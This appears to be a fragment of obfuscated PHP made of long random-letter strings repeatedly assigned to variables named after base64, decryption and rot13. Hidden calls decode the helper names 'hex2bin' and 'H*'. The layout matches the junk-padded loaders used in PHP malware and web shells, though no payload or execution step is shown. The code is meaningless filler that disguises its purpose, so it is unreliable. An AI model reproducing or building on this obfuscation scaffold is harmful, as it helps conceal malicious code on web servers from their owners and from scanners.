$b64x = 'TJjfupUFOnsnrjqNWCEbsKibydCnLsDdaMiTACynppaFyqsTrwUJfdKDGLrQcTTCeBvEcsrrHrveflYVHsEmUNpZYFPaXhcbIxejPUZVKTzPfWklOOXIbmhZrwzpEBqLYUVmOuHznfNScXDQlaXmmelcBKrELgpiaJUnDBMqGZHhWjxhjvuVYeYYpObZuQHuzBhBbTQgSxOpgkwPeqLDTiBHwcfQSMJrmQsNjhuBehPkRLzwAJYSrYANaFcSsLJdbarkHKkkrAUHKucJcaBuzagzfIRWtAzTZPdGYOrpnkWxEyfgzGAxgfVLNMHFLfzKvbQtPgICQdYvBdBzjAVPFrARCGwnLUXFWmYkSfNJIkdiOdhXDCMHSLyvrThBnEgJReTiJfRrrUYexfBzhmfZXcTnwAnJeuRvXKDGqvwGOvjLZKjgWPGtRYfmztvDmlxjwzqLTLQhFZSeJBkeqQWhPbTNTOPfzlPUKeedpUKutCybcIFSYBZmCsZVfOaFzpYISdLHxvaQwXrYFWQcxpOzfmulATqYingAQRgNMgcHdtFiOUKLiYjpkcZLvpicbpDsGJeRqgySYdAmxKXGIGuSISccgLFHzhyeQCvFhTXGwxSSgpXOUrgbiIDOShVsptVFvrJbJGHedYWJmUyGKdHtkkgdsBvgUPLpfuqOaxsDvplhIiNRLUjWeQZVrTbkIlYnfObFkuhehSlpbzfMtPIWFgRvZtfhEdviRVNBOuGvmRJNqpzhdHdhmVCMnHTrLnZbIMDxGiRszaeppcwRiAYwvAhhHaXsNWSUivrncIFChJQVLLMukjPFiwlPwjGIFzCmttAVaeWHmlCyWnRhWGMebyUWgAdkyFyRxxMWCIDOTeLpRCwNhIsIflElkHwJMtZiQkfRsheKmQYDsvrAcIHHtLsDRNLDGKlwUQmLXrvJgumYODyqKEWCpnEgAqifZuauJmeHdZqJtCHGEEVNirpWETcDIligeiAOVeUydJgVLOBpRVCzlqwpIyRqiZxNIwaDZUaCDGxnTXcLSdjDtFRBDiqLHlXpIXrgRrJUXfHqDJavlkyFppFrxUCEgzSnxjuNZcHwIpMkxleJVCNkrsBmlcQsbJeyszkQaSmIGyscJxLFyypnPPBBsrstzxqqVAgvRSdxqvZYrKcpIrCWGcWXTpPskehFdnZvfcrUXqsnAvbHLEDrGANYnbQyfXcJkbdPEuiBjAnJuPqftsVyrixdjmBPjcyTEahHTPHcpukJiZnBRizhrVlaHlPQOMiRMPyeEeHsXRagrNghwFplZZlGlaVzMDqXsNcVriNnZNTPaaWweLHeKtKvSfTeIIbavDvkLhYkvRZUrwqwgwAqOJLHndLWMlwGpqRzXPJRfiLxEASjVRzjZJqnNAjYkeEzuvYrJghPOslsRDaNTZwSILfUK';
$dcrpt = 'idaglfzlRrJOtHukaAmwERsOrihESxbAZbfLGEwWUeKMlEWLdIggzXvPfCSxytWyUbIAedxyIGjTJFEmmjtkgNzMPsiMjFjdfrdkvAICFsvOWyAJgSTMftyujgftLPWQfZAZYIBDZvQvsqDyIWkNphGXnLPyALOfKneIVfLuAapsrRPYNzkBgqyTaNsayfFiSiqnnAHnBVFRmTpZSYBYnyRNkINimsQfafSnfYaGUFWGYKFQIFnvdehNmvVzlLdlrVAwUZbnFxTcgXSODFifJPSVjnUwyXHOTGJNGjAKGtMMqdZsIHxQxqlGcfBAcIpvnxHtHgCmzNzpQyGXfDnbszgudITFqHaceHVLOxxMkVAAuGyYikZAJfTlmlQCTqeXxZhKwEVGAwgtBdrJnPiwuBHHMWieMmBilIShMmNlItEiVuriIYdbYjILgrpsDQApXRVJdIulBxTwQKeyIhZHsHRXXfpavnOtEJBgQVsrsLmIvQFcxEinlzkIeYIzLwrpeSwvmmkEXxlRMRUjvCWfbHOfFVdQsvEVMzqYMBCixnaJEusyVnEwURBZMFPdztzkSnidOjlLxLuaeLYayCVttxseBgIZYGJqTRthAFsxqkxUvvuSwpknLbSLHZjGFSVyiOeJtwfhGbbaWvtsjDfuFXfLWprBHMyPAcysyDYEeadaUwRDZWXdTCOpQFpxQmMqpjgMmePrETQYpHBNdyQwZeLqiZlYlXNZHtMTxaJBTzziFzVIXlewPpkxNWvZTHYZZjSVkawDYULdugLQRpLGcwCQsWpKcMKBwbwGcSIAluDeZOuQCfVFaxvsSiBuUkUqmqvOHdNTWrXVERkfWFjWBdNtlnlgYfwKvRXCuKvqARkdIUJdzSzZWLRhZcNXHjHBAEctNxInOsQVlzzKRXiNJzuhaheHQkhPnkhagpNuGEqRCOatkiFTgzAgfENVnUjaEQBkenEKrtBtGakRIqjOOKUTNHnbaWBeMbpQPsAfLaXrAiHhyRVLaPdNVrnvmPYYQmOeeNkpmhFMPMTmDOXccaPxQDRCRQZgCmlfZwulczXSkQEmdbpfBDCRfTtWitdjFpqejJqLhnDsDHEHhslIVOzagsxpjAynnNsWWIHdvKVxrYdyrPFlcELiVhxEguRTHJPDQxfkgaHWzkuPZyAbbkjwSfzYYrSFZghPDNzJNFFlPyAOwZpxkXtCcRZbHRGfYnuaaSKmyOYMMyahypdhmwiONhpuZvAxITWhlfTiURufPumMiPTvlbIyiXRHsQDzKZfveYDyqwDeQpQYeiSPJZmrWdyNUALdzqXEOZBdveHkSWIWeZk';
$str_rot13 = 'hWxQnMBdKXFhZYFikuQPbuHrznvOUfXcBuSOFSrqqWWpuBxEuNSvgZkFMGtGkPIkjayOsODHjYWEzSHsFZMkYxqKCIPlXywgXTupHxwRvRUuJBLOAXyXTNHvVxGSubyruReANArIrKbAllNkIkiBYpvtkAkEaIuuYzUlYKTqvupfFbqNlyNJmIbxhLbISvbRTvcsfvgZOvetwTFgRtQdaRAHcBpUwQkOkMfPgLOUfsNalshcjXfJnFrqGeKbUUPfgvumfIhLZuLKkSlvpQdDVTsBYBbSwqxCjRnqzUAXnkIzDttRjVTeplemMfEHUbIesWTqqtmEcuCFNuWWpPADAEpMiTScuBGkWzAlrMpugqytJupyJOaiRPuZImBBmhLIGKtxVhQBxNTGHhdqvDXLssKzdlzPSjxytPUpWjPTxJzdqbtkE';
$UWbtSKs = $HcXBhJ("SCo=");
$EEksr = "ZjhlUiQiDKrsYcmtSrIVhzwMGfjghvVGECsyjHgMr";
$QOwtkXpZRu = "nhkDPLlFLcAFplPthbTzwmsTzFlijABWgL";
$FnMfPmnTjK = "OzwlkTJxgaiYgsIBqKLOhfYAQvHqTiigHFtsXBODBwahOIIDstrZXOzniFDBNLHuPzkmaYpaUqhIxPkpHaneOlswQU";
$nDxafPOkYk = "SvllbEyNRQwQFAPkYVmTVHHZZkEuRSviNfUnjsbaHWRLxfVv";
$OPj = "FhnZNlSInUOgeYSdDNPTQOpPDONEdslIYYgkkZ";
$hA = "PcubVChrepOuPxHjemOIMsvrNAGOfhXuJrvEtcvWQiqeewNIhB";
$axz = "dBJVfjNtfwrNehABlJIrPJlwDBIIybzaCIvHrhzWcPJHwihgspyGxibZiiHfjGFkNArDHqz";
$NWWr = "EXsvQCNYaWtjWGN";
$XnvMwSjR = $ghHNhD;
$b64x = 'SVTDbKRirSzLnCgJzlQhCxbDKFpGIqmZKgClquuHLssYuygsiWzjSaMbFBHMqUMaAnlPgewRwmppjwHSRfbKFnLjOSWdlhDLvnZbsVsnhHCRCiJtOjcSxnCKFynQeqaYEZZvUsICyKSZsaRFjuygHZQlWDBaTBYxAyRUpZVMimkZmbFVvCbBaslwUMVmmTimQAGeYaqgmAFzbJuVkVxKmhfGUatguBSjAypyyddjEJhesCZcWVMIdSNxsfDLgVvftiErlgApPItHJSJemUMPlYlEEpOKjiPbrSRDZsRnzKUHbcknXWDiuOMXCBgLiwmAndCMUSaSbuzcxJQuetbzGOVIOcSwyeVkiWxcPxVQqTtMciFGaHEfUANhCGDzKYisuFUiBPzRhRcJzIqzOTEISRpTxRsgpazJFtrgHPxnfzXdgmCuFGbyWqrtHiYViWdmpvtvJpiPOfSuRUOVZPSVFjNLRLGzIjLwEERmSzBfduAUNnplChGgQtRgdXFLgPhjSywkWXqZQPtcCHnentKdLbjOyOZEdgmVEIfZeVyuKQwmWiQkBAnlBXAYkzbnFnJIwngAiEUTTPFPYvzYUmKVjjtuIvhMhQTDdZDMcWFVkJjIDJHWvrREZkxHedSlTLpxjrilMmGWvpFXxLTRbkUaURgYUyJnIxKRNsCYdHVyVZUtKmJkxEKQvqOpNXCvuLLHCMFFSZCNyVFHipreSAVMPiAbFCVZmGfpRjTJJVWgQBnypEcGeXstFSvkTqJfwOTmxNWfhsmxSAvHDxmHTeAXwUhpjquFdNsBZNGgescwrxcUtqaluAjPTQddgWhjJzjILqnPgrLymNRGCrRvrAjjrMMxiufrsPzdEMsKCcHpQyURpkmFkVnBIAxqtbGKqEmTQFEsgKfwiznWKAauvnUCmQRFrXPHBbZrfDiMnNhVmURWurqpEJQrYhVOEjveLvVQxDbjqjECdUXXkMlPUBFShZHLjBQUvkjSNlBcvfeXZbUkOFzIgdaNcgzLgOFCYpTkAuMuYQQYSLifPgmvjmiLSHxZvBBSPTcOmOhleYJWirBXxNtfAaQRHMQBnQSCiUrwhyglVpHdFHBbvtgutwkziBzVQrxZKNURLADGOjjSRjTLCzEuunsCnQWEGuDqgWgRViXiSgaiPtTrRWjKJaMXQIBVbDkIzQYTZVbRBbZqusfKNOTwOFtdntYOVIVTzUMXpNnqnMegDkQqyKLmOEPBWOqswKkuEXrtKdhyPlEsVvHuESfRVUtrhIIdsTWwQNnZQvxGfbxbVEUYwzPQtHgapPdgIZbXMOwDITImuenOIHMDfatYIZYwOBbVACsMPNOxfVKzZxmhEyKiYDgfCEBPecjedBqTndPuyYsxVFdzCOHAQnFsrGGwhPZKqpDDRSwOQOkLSpJuCQusDyiTDOOjDNUsBxuRpQFFdqPVdYOFOhwrfEJIRySTKMkL';
$dcrpt = 'QUTIutwOuRKzCdfgNjhyjLbQFePAPghebBlUThJmYSkZVqgJYngiyHydkncAuJEUjqPcxXPvPZukPZtNMYvkGTNqgpPZXTUhiiJFFXzTXSdlSwYdvunAMAPSOFRMyktftbKxZIrwAuHRqeVKXIJJIXaVbsHYbzdvamRZUHUUbaLrefACnIKvFLqHCxeDVixVUpuPvnJwNTlSzkuMSDGynVEpsISNqpIkcczyPHtDAFUYPNjhqPedkIsCPjpFYxpaYNXNurPtvJRJwaQMqUPZbgarQPVOljnjwlwPblhwUYeQzVbnPqmRVMhLBCYMkmvGyRUzCbuVAyLySMkIbxYXiFhjGgVQtQwqgqnIQHDPEpmxAxEbtbYbfFkLLFaDvVSBKFiALlPqZBlzYpAQqXrvDBFNGFraAIbJnJiYUxNTYYSwmslbPcVRDAEIEUJDDjlqSUnmrbfOzxjMPVmdXiUAhXilsrOUZAJRTWdjxJyWfHhuCuWzbQzjngvFxIYVhHMADqjAyHwcncWQVSpXimGwtAAphyjPewpgLyGIeBjScfIYywvGJaBbAaQgyZVbvKhFHnmMnxErbLpzGiEpieQhEGNBFJbASJezWRKjnNZOyNneVRSdwhKzNyaSGbRyKVwfMGPztOnrCaUxRMaMujlgHLymlpjwKfBwLPvDEITFINbYZBLtLwYsgWeRKNmusnQcckGfsYKzMlxklHcWcaOIwsZgelAWYPYBzdGQcQpnBlyMSAJvZWCwnBCRmbNkRlLqpRGrguEHFBSyaasaWTwJvxBHynrOzcEntjEzDIFIIWFJXWiTPdDJADqxQHLPipcaXfYZmDHVzLdVHLPWnRFmuVJJbTXJhzJEeHdrJKLHVnDCYRylhdXayHiYZgHHFPkJwnAEyKktYmuWDSIKvFjSLtqkzWRDLBMGpLJlvtEtGxPiOWtiBCAMUPWSkmVvNHAbsimMCqFHNuPBqHjqjJBDYWViiQdWxDxnMKzNzduLWIMlqVbYdCaBzVKgLmcHPZUaiTNHWgSTpEEdYFbbhBDfxMlHYOpmmInvBABXgtqvwTyuzYVfzXKviVcGiQSvXFpYFQVLi';
$str_rot13 = 'tPZRzdepSbVnuyCUKkVHWOQnSMtWkJxcyVTwyXKPyGcrDEkmOguLujylVRIFAEHxYATxWcluhpKKsUxGAQQuZneuEMYdqFaOEtkZvVtcJCMbVIHVyWOxjSqOFnrusQhviRudNlfVmrWIZcDWYrTiiiwmWMgnDNikFCnROSMajiIIkKEJAxriGMvCyapAOWLSzyiMrUlACuHmdkVEIllNXfOUgCvUzFlxcuitnusqNYCrJxurhFDeKQyQssjqWvMzOUrCOJRBgtRPpKFwphAZXxpPPzektRJHkaiYizZOrqEFaIapQZNmwCBKAfVSwdzGDgeLFdAvSDZSkZHAyumuVmdvsyNNbLTESXPWAORsrQkaqraNKmGfYjZrHMDIywMPSBkspbjesTEHjETtqAypiyFPJhXGdJU';
$b64x = 'pBvSGrWPugrrlvpYLuLsvbDLinGRUZJiAeAFvWuOcKFNFTMPNWghXisFxyVQxFywJXadTTrvdViIpuxbqcIMkZQgxLWtqTnYrNBjHseKmMRafNBvPiGzIwGegbXxvkULYVuemynYJeZORZIfIndqiiTqkQleBfPYAIcMGqLpTjdKIkpqzsFgBzwkOgpOMDMlKOYqDiFwshfzsTPqLuxlssVgzJUkLgwvUTLybPtSWYsNRGdCZZmRrHXpPrzAWvvrNfnPuGgPEXCwDexcdjTUQqiGfhFcCZtpEGDXLjMqGOLJsHLVQdPgSxMxErYfQrUuwWshfDWMQgUiNeDdhsjzOVVSLUXBKrvGnlmtOiEepXMBbpEIfNgthCktwITFyNkLYWENeHrSFcufQXOvkuNsVyKQfdVDQFOPCsbfyRycTRiinwDXPPqkmzasCVvSBigCZhHxYeZrvhYiDBfRqUbcuCuvxnmxVtyuZfRxJqNEWkMYkrPBLRDetwYpjLlEdJYDnpZxEmaAxlyIbmIMDKqvFpKOZvSCdQeReENIqNHlyetYQaLTjAnpOxCNRuPvjtLnWyvLKBXheqFvQqnZQBNdyqrpJfiTyTGUrBFabbHgsmBHbnfrnTvLiLaRqiKmcQgtrlTsMAXDlXjnkqEzIyjQIJgxsRKugqlxaEnNelqPIZctpgRwdAlMJsiaIsTOIEKIiYvMJkBQjdiXjztmzdyhUgHDyAQfDankyIWgsXwBaFXJDqvbttInzpqWnFCrFPBcWXIpUepuimCLCwmvOUImJxjwbkMgZniVkrJEUYxckymlTYGITNUbJDxLmJRlWzhGpQJinfKXcxjVvpDNCXOkZLvmuLXqKEvYUdHhIrfjmOeIChvDEJncuIONTMCDqWajzHRGywPjjtRkAMOdvbGOiuBbFcdVyeEwkvbhQqszIIKiuyLOYrCgkCiPdLjBpOwZixgzMXXvGHczEmnCdpJnRrCubMvrAQPhnVGztEtykUWphJQkYYXpOzIqkcfjTUsGPXEHBXElRBZYJPIgnFvbeDrOewYxqqcFMgLNdqyuqxSYLAfYFZAiCQWgMuDBifFVlrIOGFhvbZtlAXkeXKmYZIekchMkmrfXgmLlrSGsSZERwnvtxgsVOVgQcsBphflOSwZipGBGeEWArrTNxKhkFnBIeBwMGhAyDzHrEHwIKsiaIBmeKuPphPwLPsxvzWtBVzSzfnHpfppNPasYuGmaUiMJAidyFVYZuqyYdEmiSavgaMeUsRUlzGUYpyVTStsmJpklTXTLxnsyAwRRMLDkRWIfTDyMWPyedhqWeIhCVzzvuPMgZOrQjZvdbSpXgMbkTQGyXNzTLxNflYLklBBwZVYbOmyuyAErPKnNWMfIIsmTQXEbyeWyzUYMGwgdvKUKThxQubybSjvIgyjdbfaAAYMfUSjpbdYVKULdVIFnRzVxwEZxKawjyhOszXgBaewkZGNunsHEqcALGzHPzD';
$dcrpt = 'EONalLeSXhYrwaYwCiiJiQLkfSHPVyQzMDAxNEpjkMAflyCOfjxOZiyEAeuvDjtOlskYvZIFkhLxfMKKVGyuOVYNaRHcAaQLsAiNzQsKyCGDnPmIvLCJfZwfQdhqdxAUXIHVYzewAjyOYKVuUxcAVyFLamaDiAyFIEBGcFBDpYQmhkGchhbcfGOfsniBnGFvjfAMkaOzYdkfnRHUyIXDpkifXrfKWLeFQErAEEyCHJhvZOpxxLAkvIqSYVCUGHYVKPVOttPAbWUALIXHTWRNEGFCBhVgnTCxIxkbPaarwUQgbmmuidhMKMNktIRfCtDjpmKdMKTidKOFwbYeefqnsdYjLpqmgsWvEfyrqsztBMxwNwAsaQFRtcbdrQQxhlRkrPBGGzzglVbyrCPRRvIjWimnYCKFNbQeQQjwqIbadcyTEnKUhSddaQQzsBdfCtJRjsmYanYdqVWuIgnPYRtyHiWYiADjSLaBdmzDZWfPSBiAHVPeMHctpYRyXTHqeIQhuPjTLpIDpQDWkRAXyCPMafJxZrMDycjrRtjCgRFvghQsyQOVsDgRiQphGAjdCtTSLdvRuZLaGCsDsFyiHEAPTnWzNfbPXVHIyBYRZKrFLIhcMeKuijibxFaKjbzhWFPugnLfXbkIjRjVwtpEDyezCeiLggSClhwsvgWsHgzqyhlTAZWCWAbyFjjkQBlbIHtcmOTUvRJSYukYugAPfBNKkwuaWGBemtgZgAtBrbSPwcNpIMDnnqxXkRxhWXlIqRHVrZWhBOWWrJKyUmLHciEmzAuvxeClwjhMIdTIrpEHxNFsaqYcXDpVciqZMskhaRuhuMQLbTRyHwpglniiQWEsETrrKbXKSQSMcIxdBnaHKqNvcvcSsGJvZAkJBIuSyLdAtActODaXsNRuiTLZATTYteHtMALJkOJcpLwCNVYEIPXqhhOHbIeTlMmXlxfWkOyYZTZMnXrWlNLuvAAwHFOSQaPBWuxhiVFHnFtCbiXNwIgQHfLnKzfZZuBVOxCwsHcflUgMDdzYkeOskYeuxkuVdurrQSlIzNNjItwkVUIFZVWJTbCPLvLnOBeFtqmsdzakRwvMrCrPxNXqnzEyUOLIpPMhfyYIWYSmvMyknpzKBwzOuclNRwwFlHMQfKXBiPODBLmnZLXAGwNZXYmnUITfOevTPsUxGhZGSLTsVQRBLeZIClwwtpaHtvZHlTdraCWTMPkHeBHPFHXHstckgdRYXQfjKiAjkWcWLMdqnKEsQaYiSBSYEJXBYCjhKjsufuQqGTFTDJKuJibCJTAMbWMZyWHIfYBKRrzxJePmNAfVhgxqZxbASNYQiFXNDyxvpWRXAgjMfpgmvECTAcSspRhywekzchtrDjnCPXNUlTggWhzwJsOY';
$str_rot13 = 'vOvPBwDHFqWaBqwECGlazglbChQVeYgzlBnlWqSBfOaGeWjfCvfABQbDYRXCpdaZdNlZCdZHSzmWUxbxr';
$IgVkLAfdJv = $HcXBhJ("aGV4MmJpbg==");
$b64x = 'SPUEtwRpbPTXduNJyigytXfxKeXuVQTmeNqWjHkkwehYyuIvDnsvkyRuCpNXeGjISAEbgOMbstaqNIKqVCjFZbYaqkXTqhBhgEJMsvNjNNzZUIpPjYTiZrjOBGHQNHytkgebaskmeimZRanAYHixXRkzxrOKXLcHrHJrYtECbqaSqOsOvZksQwqnlEXjpzqGfYWDRZfSpFjetaSmaceQXuDjXASMZhsEGNhWmMOarxejxwVxYZNVTPEQqVbOdtsiGYeSKSSBpXKktehreUMXiPmyLpLOgDwMBAdLsWlftvqkzxbcQmzZbMWMAhZfKvSKUvULrfqJZfuYCvaSHArhLMUKttPcngmHCgtsMIbLNUiPpJgviWCthVcBprcCypIzVaQgirrvkAJYiptQKviSqKtEaUFXJnwENmjvDAQnZYlHnFxXZepOngSObWLjJHmxtwRvVgIvFUbsYYpxCdkQjcEKZOThvfEmaVIWBPQfJRxgplDROnHxPKhnyAwtfzFfuMBvCrAKIxrwhtmVGtsVcYiaYEtDdxhWJJrKzruGmKcudpOiIFdjEMjbqbESYLpHTertUjYguaZWPNeWtIfwuPWiqABnKPUEtKwnUTTNUTJifNeXUJSnXOxnNXBylVbEeWryPkkidTrIgUGadXpaMkNzHOWsJxVmSmLIWVQzpHgvBlvdjieVSrTYeqqmlLAexkMtFbRThXNJJIlSQqmiHfgkUWygHxkdHwVLxMeFiRNRzYiPOvxUaDeUzbAFyKIEfDPcOTgxKtnJrWyEruXQWCkVDKZBUIezKTBYlgvWzheqdbTUvrjQSuLUEkvXSZwbSxzEDTACbdREejyzAIpRBAMeKgbbfXCyuBbWuayUdOzHYwfXdTPFSBibHkCmhEjaekwXKUSNhQTflyDqrsuJSCjYMMKtPTtTDpQmihzPXsvjPXYGpspGTXdfiOXXgQQKegWMnwBLNVucssIGiwLBtPGCcdYITpsxvpihjisweLywcfCKaMluaRvcutLmHCJBqrJzAavdlSYNyAyXMJrMZkpuEzfKapLrFTpetihEBgsyfPvRXlEwwsPzQvJQJuGNmvSFDzjdeaBKpwBlHEHcvWbkQKBzdglPaDuECcgGchPrDQCJuJLpelzUVZSyGDmGGgJhiqmlxcCzSEhLMsZQdYjYXBWcDIJIORPXgCIcdJBVmhfYZFncDWaZWwcAekhsbxOIywKBfLVRSaqReDTHZuHVpiUttCkTyYBVUlVZWQQnqFFviyBHrhbGPWyhXIbvHCPBmjZIZpWOUBICyjiPQjvGFSNbanVgqjgCtfKsTfGmGnODWwRNfltjEFldtgjIrqjJUtBNyGaDTngQKXcPJUyMzJPRqYzfninhaOuzTubNhhcRFefnYDZWMOnbllgYTTFUhYtaSumZbpQGSvTqxsmifZJQkpOeitYqrrqIKDHLrWQjrJYnakwFJfvUTIYbaWQRMgzViGgzCWhtGgGfQBLAfFuZnsANNrdzWcTeIZDJWkbbrggghrGmwzLiqlvcbzaXBUbItdrpnSPEYWkFMQSHPcPeNkHOigLJAMrTqghDYxhxSRbEgtlVwAaiKgxsmhaNuQGJxmLvJsRBiTFqlqkgPKPZQlrDtRqlHvuDHfYQxPQGhvVuKFZAqOzFZphSfxDmRXPYcNnzcdEjzYcIEcHtqfXqvfHZbjltgbQiOdhqgkAejbNmduFuZCiTgPSIYEAfFqNSSuiYehdniqAmiefHfNAMCSTAwteAhssZkAXpHACqpBbyegekTewUwpTrHYQOPhNZhjpnKQDyRdVVjAfCEBwzPqPVNFJblVaSfpGpFIMwMhrvHWXKWSilHxgTbqUMKVFpJKDnsPiDWZYcVVlRmucUQJmryhChCgxkqzYhngKJFIkAcwRqptJebVUYCxgdccptBMApsJXXsIxudNitgrWHmRGONlsPnfHORGciqAFghCZkpicUzZCkqHzcSQrFVySMdvuSUZYBBYkpgnjeMkqbRODiEtNYQeKUzDMtbktbiErOrZScjHDAvFIyXUVOYehyItqJDikLMBzcZREiyGItkPqHJlUgqbdxUTGxbQINQGpPxsXVXFNhTcnCnihEjlaDeGafVhsLNfAKxWFuaRaTTnvhwckfnKIRQhwLpNxCSwlptqhtghmZUgGQiQVwacMQkhBYUxAlTkZlAgdfNqfhxkXebsBbuMrEURcnOCAHNYsMfvSskxzHgVLhmLIHyyKRqMeDOEjaDalhUDYeZXkgSwNFgVldtvUhHZKvctUeSfLNJKRhgcNYyBcdVnHNiBvPZEJCxDfpIRbQaTYgvLESLHVfuCtCDNQbQzcmBiCJzDzzVWeqhIHsOcyIdqJGCAhsyjFZRGIqigOEDSTKaabncYVfnFlpEtHbblaTRIIzpxCROVanVbCXAWCmaNCEFifgTfzjnghbcKSrFSEAtFWsbyebLGfqnkwGqUpcbwdDfvTjMXifbeWccaENfJCSTYyIslLSInwmJpWvleZnJwPLwtXbbzTuWRcpcmgjACWIrSDbWCOeXEpTWluykMRgDTvfFbOfDKmtCPvYRicnlsgicZGmMxTOQnTvphZsRmjTbERsmtGyKlfmlkzXhsLXfeRTlRKcDUVdXlwjFbhpmmayXZUeQGBVKRpvIYxKsSOqdJYIKfxwSxuPwntMtTgCKvWSTubkLpAOXzxgdtcVPwjLiCWCUcdeXaWQTxaEMasJYnqbGsxVNGfvIBWCDAGAAbqSzQwkqmtnaIOfzkALRegYFcAibghaHXSfNNPcAiPAqDePnFZEJfCOIbWJHDKpAbTmPiOprcnffsutwuWFzytGzOqGrzuRAmDpvRckTPQYhjrccMHb';
$dcrpt = 'rUHmLpCaGgBcykYRgKaDLvPSwPzcESxVMDHXRixxPXZMIxDOHcrsxfjSViUYaQtmtajKIGGWdFILcKziMpAIvjZPRTmRiGDbfMLNSrKVwRGXbEfNSeVMnUBEnnVwTyWYkHkCyuxTlCqmfvzXzuKmOKQbXLWqjTNTZyUxRQPCseOWYNtyGcjumZvJkRzTKLMJifGaVvbmZQIXcaUIDdcpDWXmNVfWHrGPwLprfrcEGjCIjVqMzsaBOyNBtSXZIcpdNDTStvxYEyGmtwzRNYsawEbpVYNDabfNeyexSawVyBirWHHjFzjBcKPyIbahdGuHdzdwYYrWZYmVeteKrOKTyYrGZQNCwhiAfMVdKLZJKLeOeIXUVgNTedzEULfqsOpxAJaJvzSEkwROdpIzvwsZYQDSahItvWpuGODAnvdyqULSISrdNICMXeEYLlQgIeAnTCNgwqdLJnEsfUUtDweZZhXKTNqBsqnkRaQnqtyYfbPKwJcyegxdpvnHHchyRvhJUXwjPTHUvxeQFgnKNjmBdZhLCpitirBcNWLcqRwKNAZtgMcTVOTZnajPORhWHJyUeiWTZRcNRbfXmHqiUiHhiqWwGeRnmpHQxDKVTlhKNMHZtwHnENUlcRHJvXwHlcWheGdXSkIFXOdPkLCnyxZBNGJhEeOpgKxKQZ';
$str_rot13 = 'qegOtzwsSICJUsXAukduBqmNMeYhXOvNsBaKaxcseEAYVxYOhBhIRvUcYTkwgeiyFihFeJXImxgHuevBecIvWCyUUhqalXXQGFwKnStaOzHhcCIgdPCZsZTLgJMsGihlNcWbupbimhPpiXvlMWKdvdpBMasRiZdwbzxVmXdzESNNphybEIEYLSZWsrNaPqwROsMappzSGLeVtcwWjZuusSqJJCJySeOGwZgjneCuQGpihjEriXKAqzJYbsVTWKYRJEbxJDQzIEHqNkGvHQvwpdTPvPhQzGIHjidSLtrSWxhignEndYJRbcHVROMPTTVdbzVlRMdnilwPYzCbxksXMYtDmERfxNIXlEicPLPxwlluKNUH';
$b64x = 'nlRbOzcAtLxUlwagAbNDffXFaXunzlplyFNLdPKVZhPkcQrcRDexIBbhyUvwfjIcOvOsJymIecsHsJJILNETneakYVGeeNGshuiqswXVXqCOyKwIxABjEbTDWAgAmMRUGajXVHSswUftEaaBAbKeCEgXDmxpYNidmSahztzumdMQeMrEmBhOEnLgZHvyvdBHVCpTUmmGrywUjmXxNfKrSVWSCQqWTQdnRRGkdSQTqMmZYkVkPeBgZWYCMNXGdAturZFURUmHGAfdjanyEndEjcfWpCbRculttqMKjZQqYVtHvHEYUHCeigAXJBOLUzDnOPXynmNlhfsblVZGbbjkhJhqjvAdUDQhsmFFzsqfXggiBGOCHXlnftEpnDShfhpWvuBtLqzIwerWKEYrbjegchVqKmWquKlndmgPCeWyiMutQsiRCmxduRtedpuXYeKCrQrtUMQDYjVObdFcQBfjtXNVlGSJLDkBSaTmmJpktjyuMcVCcAlvxYQheIQPKBqDaJpmsDWKluDXVXZYxKSTIIalQraARQCrYQEqtZAETCbOAAlWjEQrLQDBGcBxsCOqSRGkqFpigPXfOIcXLsNxHqxnSxKjZXARnFBEJpMPDivrrxnbOBXUqvhhRssqprGcvhfdVRszAMPqIDQVdOQtIXBzpspdhUfCBkexBwvAIjpqMflpTbIByIzNzmqGHUHhELdEGXeNhSDtXOIqpPqlWpYvBNAhHgPkrsPwqtjxklpIZwXNkNYgbxBCJAKrGYawqpSFgBBRMQzklVxWIvcirdLaDUQJSqeHFWmkWNbIcZspvOkCJMLZpwzSPpageeNJBZTxmvFpuWDOLmruZbSnWsFLfeRjjdsjdLGPfKdYHgNRSDkRdcFzTJJzOZIxcaGFkLuqwXNcdZtVCDmeerDyZlWmkEJNdOsnAMcVJQxlPPGRRSvvIYSIJOuuSDgvryiqJkKsAGcPUJfLaAGJyyQHMjadlGyDdGsNrcEQIHeDPjNPKtyHrNnCXNFItckWicJzeMOlSTnHcbxlTuTJhGkEupllRWhZYqyCcLNUEbbgCXsvrkEXRnBKDmVuiDSGSPhUAupEvqKWmbRcmvADIamKMHDujUZcJGwJajmvYWRKXhNJCmlJMXTYFVsnQsPzxLhxUustqicNPpwQBIzNeRLJNCxDtlBQWJmrCdJsLLEAaZqagpmlfxUsZrUscVHYdUOFXxwiiZIIZYIFmvQRRkjQaDIcXpBaIpGfMBnuBVBZtIEecvWUeFjeHrhFfhFNwKsHLealAaKSJNxLHteLxpQDexHjEMxZVOgGtgRSHajqOGavYfgUTwXxSEHwPDULQariHIanIkDVQcrpHWIZRexJJDEXFXIvyZdeHdRONTKdvARcVYbMdXUlAXieURZRqcvWFljSETvZtlbNJCzlASWzPFdjVcAkEVGigPakJvjBfKOPlMAkFxKTbmCWOcgsXlZDaaNiUwjafXpsJnbNKkHkxIgkKMbgXbjyBwGvSPUXlIOVWQhfanrXWWhfJJMfKVDKrJeiXzGjGuECJLhKZXgvTNAbwLHFGJpxsTeqRKzxECzmmGwLDCfVqfXkQEQWmEtexWuNHskkTiWFOtrQuVLJAhurkjMXNEbKAUWglgQEONICFyRyucHTJaJUjURwysFylCdWhUZWgHXkFPIYRprZpATXujusByPlZSHhlfDRNAbRpjPFXFFmEXJYhCPhadTzvAGHGiySJZJxIXCFCGRgDaEKCSsbVkBqKgwPPuHXSPTAMveOawuEwXNxpEzjOZYzFvNTnvQfjjFwEJjeeDhZZuxnYVWMuuKYOysBsHGaQKVUueYXgFxFYTswnNiHhsevPVWGDbgtMbmFgKCMOYRNriidWQjDipXxjTDlVJFgKrLqBMcpktBBBjeWznzgCWElPGWjpBPYsAOsMq';
$dcrpt = 'KGfGlrUeREbBWPwStjQHX';
$str_rot13 = 'OffQNIRUuMjCsIMFxBJepWOpYHVLMYKAeqPrxfkRRTtIBEnxEWaSsPGrVBbIAkHdZxuxCdNTWfBWinSMjTdbIJscJSjICRLCNEyOHkHDPIYXvRJFKMfRUxTcOdLquVrgZOUGybJmiHjDXsHHDMXxIrAwTKMmeCtdrMKnmSBvYjyWCeDerabYraUjKGwnhnsX';
